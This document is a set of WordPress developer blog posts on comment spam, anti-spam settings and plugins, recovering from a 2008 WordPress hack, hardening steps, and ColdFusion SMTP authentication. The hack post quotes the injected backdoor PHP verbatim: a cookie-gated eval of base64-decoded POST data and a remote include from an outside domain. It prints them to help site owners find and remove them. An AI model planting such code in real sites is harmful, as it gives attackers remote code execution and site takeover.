Well, there’s always a lot of spam, most of which gets filtered well by Akismet. However, this recent round is insidious. In fact, it successfully blurs the line between spam and legitimate comments.

Here’s the characteristics I’ve noticed:

1. It’s targetted at WordPress development blogs.
2. It’s almost certainly posted by humans, not bots.
3. Usually there is a semi-intelligent reference to the post in question. Sometimes you can see that a quotation from the post’s content may have been automated (or semi-automated), but sometimes it seems there must have been some human input. There may be all sorts of smart scripting going on here—e.g. pulling out names of previous commenters to make it seem like there’s a “conversation” going on. But knowing that incredibly cheap human labour is out there for this sort of thing makes it hard to know the real source.
4. The comment author’s URL is almost always some blatantly commercial site. Sometimes it’s a WordPress-driven site, sometimes not.
5. Sometimes there’s a spam link to the site in the comment body, but usually included in a legitimate-looking way, e.g. some webmaster “signature”.
6. The content is designed to induce approval from the blogger, e.g. it’s very flattering, or sycophantically asking for help.

As you can see, most of these points indicate a severely hazy distinction between legit comments and spam.

The thing is, even if a comment is posted by a human, an actual webmaster of an actual WordPress-driven site, I think it can still be spam. I guess you’d call it Grey Hat comment spam. WP developers getting links for their clients on WP developer blogs.

I’m strongly in favour of the open and reciprocal nature of the web; I’m even more strongly against any form of spam. These two attitudes do not sit well together!

So, while I am genuinely happy to give link juice to other developers whose engagement with the WP world brings them to my blog, I’m starting to err on the side of my anti-spam nature. Here’s where I’m heading:

1. I’ve removed the URL field from my comment form.
2. I’ll spam any comment with a link to a commercial site.
3. When the comment isn’t really saying anything useful, I’ll err on the side of spamming it.

I apologize to any legitimate commenters who fall foul of this.

Everyone else, watch this:

And yes, I realize that the current economic climate means that the “Grey” area of marketing encroaches ever closer on what used to be considered “Black”. But in the end this is no excuse. It just exposes the problems with our economy, whether it’s going up or down. The spam mentality is a symptom of a sick business culture that is less and less based on providing good services.

So, while I acknowledge that if burglary and theft may rise in tough times, an increase in Grey Hat spam is hardly shocking, I’m still no more tolerant of it. Stop wasting time and generate some genuine value.

UPDATE 4/5/11: I’ve decided to reinstate the URL field on the comment form. I want to give genuine commenters link juice, and they’re the only ones that will get approved—plus, seeing the URL entered usually helps determine if the comment is spam or not.

UPDATE 30/4/11: Yet another new tactic, which I sensed the approach of. I’ve removed the URL field, so I get some comments that seem innocuous—thanks, or simple questions, with no spam links and a normal-seeming email. I approve it. Then, because I allow comments to be approved straight away if I’ve already approved one from that email, they post again, quickly, with a spam link in the comment. Solution: all comments now require approval, and I’m spamming most comments that don’t actually contribute to the conversation. Message to the spammers: you will never win, you’re just wasting your life. Shame…

Still, we’re not going to make it easy for them.

Built-in tools

Of course, WordPress has some good methods of preventing your comments from filling up with bogus comments linking to dodgy pharmaceutical sites built into the core—look under Settings > Discussion.

Allow link notifications from other blogs (pingbacks and trackbacks.)

Not many people use trackbacks, and they come with their own, very popular form of spam. Unless you really need trackbacks, disable this.

Comment author must fill out name and e-mail

This is a must, make sure it’s checked.

Users must be registered and logged in to comment

A pretty effective way of reducing spam! However, only sites with a relatively dedicated readership can afford to force people to register. If you go for it, make sure you have some spam protection on the registration form, such as SI CAPTCHA (see below).

Automatically close comments on articles older than [n] days

If you rarely get good discussions on old posts, enable this and set the days cut-off according to your sense of a post’s lifespan on your blog.

An administrator must always approve the comment

Effective, but potentially time-consuming! Not usually worthwhile.

Comment author must have a previously approved comment

Always have this checked. It will let someone’s comment straight through if they’ve commented before (the system compares email addresses). Good for keeping discussions lively even when you’re not around to approve comments.

Hold a comment in the queue if it contains [n] or more links.

Set to 2 by default; probably a good measure. Note: Don’t set this to zero or leave it blank—this will send all comments to moderation. There’s no real point in disabling it by setting it to something like 1000 (what legitimate commenter would include 1000 links?). To loosen the setting, just up it to 5 or so.

Comment moderation / blacklist words

This is a pretty powerful feature. Various keyword “blacklists” can be found (e.g. on the Codex) to paste into these boxes. I’ve not used these extensively, but probably worth exploring.

Plugins

Akismet

Almost “built-in”, this plugin comes with WordPress and just needs to be activated to work. Actually, you also need to get a WordPress.com account and grab the API key from your profile there, too. Akismet includes full instructions. Akismet sends comments off to its server and flags suspects as spam. There’s the danger of “false positives” of course, but the system seems quite accurate, and provides good tools for monitoring things just in case. Akismet might work for you alone; however, many people recommend using it in combination with another method.

SI CAPTCHA

A good CAPTCHA plugin, for comment and/or registration forms. CAPTCHAs are those images of squiggly letters you’re asked to type out. They provide a certain amount of protection, but are regularly broken by bots and low-paid humans.

WP-reCAPTCHA

This is genius in theory, and pretty good in practice. It’s a CAPTCHA system that uses doubtful words from projects that are digitizing written works. Spam gets stopped, and OCR efforts are helped. Like all CAPTCHAs, it’s not water-tight, but making this part of your anti-spam arsenal does some good as well as stopping some bad.

cforms

A formidable “Swiss Army knife” for WP forms. Includes CAPTCHA and Verification Question options, and the option to use the plugin to generate the comment form (and hence include a CAPTCHA on the comment form)—though this can be a little fiddly.

Bad Behavior

I used to use this plugin regularly. It analyzes requests to the server and blocks those thought to be spamming attempts—in theory, this has the advantage that it saves you server load as well as preventing successful spam hits. I stopped using it after a series of problems where it started giving false positives a lot, blocking my clients from their sites. However, it seems to be still going strong, so they may have ironed this kind of thing out. They still, however (as with most spam-prevention plugins) recommend using it in combination with something else.

Block attempted comments without a referrer

Thanks to WpRecipes for this. I’ve just started using it, and it seems to be effective. It basically blocks requests where there’s no apparent referrer in evidence. Pop it into functions.php, or use the .htaccess version in the original post.

function check_referrer() {
	if ( !isset($_SERVER['HTTP_REFERER']) || $_SERVER['HTTP_REFERER'] == "" ) {
		wp_die( __('Please enable referrers in your browser.') );
	}
}
add_action( 'check_comment_flood', 'check_referrer' );

Referrer blacklisting

Jeff Starr has an interesting piece on blocking “referrer spam”. If you do decide to follow his lead, please take care to read his disclaimer at the end of the post!

References and further reading

• Codex: Combating Comment Spam
• .htaccess reviewed (some more .htaccess tricks)

Needless to say, I’ve been forced to quickly learn a lot about web security, and I’ve been grateful to be forced to do so without major losses. I’ll try and document some useful things I’ve learned here.

NOTE: This post contains some good WordPress security tips, but in response to a specific hacks. For a more general, comprehensive run-down of solid WordPress security measures, see this post.

The hack

I’m not sure anyone’s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.

With the recent release of WP 2.5, there have been some sharp warnings about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.

In the end, all my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I’ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by .htaccess logins) were compromised. In any case, the lesson here is clear: keep all WP installations on any server you run upgraded to the latest version.

The signs of the attack are quite distinct. It’s documented on the WP forum and by other people. Here’s my summary of my experience:

• New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called taxonomy.php, there might be a new file called taxonomy_old.php or taxonomy_new.php. Other common new names included image-like extensions, e.g. crop.php.pngg or wlw_old.php.giff.
• The main WP index.php changed to look like this:

  <?php if(md5($_COOKIE['_wp_debugger'])==
  "[long hash string here]"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
  /* Short and sweet */
  if (isset($_GET['license'])) {
  	@include('http://wordpress.net.in/license.txt');
  } else {
  	define('WP_USE_THEMES', true);
  	require('./wp-blog-header.php');
  }
  ?>

• That top line of PHP code was inserted into many other files.
• A new user account could be found in the wp_user table, username “WordPress”. Apparently it doesn’t show up in the WP admin screen—check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in wp_usermeta, along with other entries that didn’t have a corresponding account in wp_user.
• In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.

Apparently another common sign of this attack is the appearance of files named wp-info.txt (containing passwords and so on that have been discovered by the above scripts). I didn’t get this, but watch for this too.

Cleaning up

1. First, using phpMyAdmin, delete the “WordPress” entry from wp_user and its corresponding entries in wp_usermeta. Also delete all entries in wp_usermeta where the user_id value doesn’t correspond to a legitimate account in wp_user.
2. SSH into your server and search for offending code. I found the following commands useful:

   grep --recursive "eval(base64_decode($_POST['file']));" *

   grep --recursive "http://wordpress.net.in/license.txt" *

   grep --recursive "find suid files" *

   These search all files (*) in all sub-directories (--recursive, with two dashes—WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. This guy has some other goodies.

3. Remove all offending files, via FTP or SSH (see above link).

Securing WordPress

Obviously, upgrade all installations to the latest version. This might make the last step redundant, but of course you should preserve your wp-content directory (while thoroughly scanning those files for hacked code).

Then do the following:

1. With all of the following, use strong random passwords. Of course they needn’t be as long as the ones on the page I’ve linked to, but it’s a good place to grab however many characters you need.
2. Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.
3. Change the default admin account username in all WP installations to something other than “admin”. You’ll need to do this via phpMyAdmin—change the user_login field.
4. Change all WP user account passwords.
5. Heck, change any other passwords too (like FTP).
6. Change the default wp_ prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP’s in the same database. That’s possible (but not ideal). Really, the main benefit is so hackers don’t know what your database tables are called. Richard LeCour has a good guide to this, and there’s even a plugin. Here’s my summary of the manual method:
   1. Change value of the $table_prefix variable in wp-config.php. I use a string of 5 or so characters from the password page.
   2. In phpMyAdmin, on the main page for the database in question, click the ‘SQL’ tab. Use the following code to change the table names. (Obviously adjust for any other wp_-prefixed tables, e.g. tables created by various plugins.)

      RENAME TABLE wp_comments TO [your prefix here]_comments;
      RENAME TABLE wp_links TO [your prefix here]_links;
      RENAME TABLE wp_options TO [your prefix here]_options;
      RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
      RENAME TABLE wp_posts TO [your prefix here]_posts;
      RENAME TABLE wp_terms TO [your prefix here]_terms;
      RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
      RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
      RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
      RENAME TABLE wp_users TO [your prefix here]_users;

      Note: I’ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. wp_posts. You’ll need to change any instances of the same habit in your code using $wpdb->prefix. For instance, this:

      $sql = "SELECT ID, post_title FROM wp_posts WHERE post_status = 'publish'";

      Should become:

      $sql = "SELECT ID, post_title FROM ".$wpdb->prefix."posts WHERE post_status = 'publish'";

      Most plugins use this to remain portable, but you might want to search your plugins for hard-coded wp_‘s too.

   3. In the options table, change the option_name called wp_user_roles to have your new prefix instead of wp_.
   4. Likewise for all meta_key values in the usermeta table that start with wp_.
7. Finally, re-do the grep SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.

My server’s been fine since doing all these things (though I’m touching wood now). Hopefully this’ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.

Here’s some more resources on WordPress that I’m still absorbing:

• Hardening WordPress
• BlogSecurity.net: WordPress (see especially their WordPress Security Whitepaper)

WordPress 2.5

I’m really pleased with the new version of WordPress—great interface improvements, and it seems much nippier. However, I thought a curious new addition to the wp-config.php file could have done with some documentation, or some attention drawn to it. You’ll find this in 2.5′s new file:

// Change SECRET_KEY to a unique phrase.  You won't have to remember it later,
// so make it long and complicated.  You can visit https://www.grc.com/passwords.htm
// to get a phrase generated for you, or just make something up.
define('SECRET_KEY', 'put your unique phrase here'); // Change this to a unique phrase.

Some people have missed this, apparently exposing themselves to the one 2.5 vulnerability I’ve heard of so far. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.

One more non-security note about the new wp-config.php file. If you upgrade to 2.5 and find your blog content’s got loads of garbled characters in it, the culprit is probably this new line:

define('DB_CHARSET', 'utf8');

Comment it out like this:

//define('DB_CHARSET', 'utf8');

Good luck!

Sending email from my localhost web server (usually via ColdFusion apps), for testing and other purposes, has always worked swimmingly. Recently, however, emails sometimes didn’t send. A glance at my ColdFusion log files showed the error “Invalid Addresses”.

Some addresses from some of my domains have started to be used extensively for sending spam (by other people!), so I wondered whether I’d got blacklisted somehow.

A blacklist was involved, but not for addresses. A closer look at the CF error logs showed this:

Invalid Addresses; nested exception is: class javax.mail.SendFailedException: 550-xx.xx.xx.xx is listed at zen.spamhaus.org (127.0.0.11: 550 http://www.spamhaus.org/query/bl?ip=xx.xx.xx.xx)

The x’d out bits are my current IP address. Spamhaus.org seems to be a large spam-fighting clearinghouse, with, among other things, IP blacklists. Looking up my IP address on their database found it listed.

The solution is to add SMTP authentication to your outgoing mail script. For ColdFusion, it looks something like this:

<cfmail to="user@domain.com" from="noreply@domain.com" subject="Message subject" server="smtp.domain.com" username="noreply" password="password">
	[message]
</cfmail>

(Obviously, with suitable bits substituted for your situation…)